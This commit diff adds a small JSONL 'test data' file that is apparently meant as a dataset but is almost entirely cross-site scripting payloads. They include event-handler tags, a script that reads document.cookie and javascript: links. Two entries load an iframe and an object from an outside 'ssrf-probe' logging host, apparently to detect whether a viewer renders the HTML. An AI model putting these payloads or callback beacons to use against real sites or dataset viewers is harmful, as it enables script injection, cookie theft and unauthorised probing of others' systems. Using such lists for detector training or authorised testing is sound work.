Add XSS test data

train.jsonl

@@ -0,0 +1,9 @@
+{"text": "<img src=x onerror=alert(document.domain)>", "label": "xss1"}
+{"text": "<svg onload=alert(1)>", "label": "xss2"}
+{"text": "<script>alert(document.cookie)</script>", "label": "xss3"}
+{"text": "javascript:alert(1)", "label": "xss4"}
+{"text": "<a href='javascript:alert(1)'>click</a>", "label": "xss5"}
+{"text": "<iframe src='https://firstaccount69-ssrf-probe.hf.space/log?source=iframe'></iframe>", "label": "xss6"}
+{"text": "<object data='https://firstaccount69-ssrf-probe.hf.space/log?source=object'></object>", "label": "xss7"}
+{"text": "<details open ontoggle=alert(1)><summary>XSS</summary>test</details>", "label": "xss8"}
+{"text": "normal text", "label": "control"}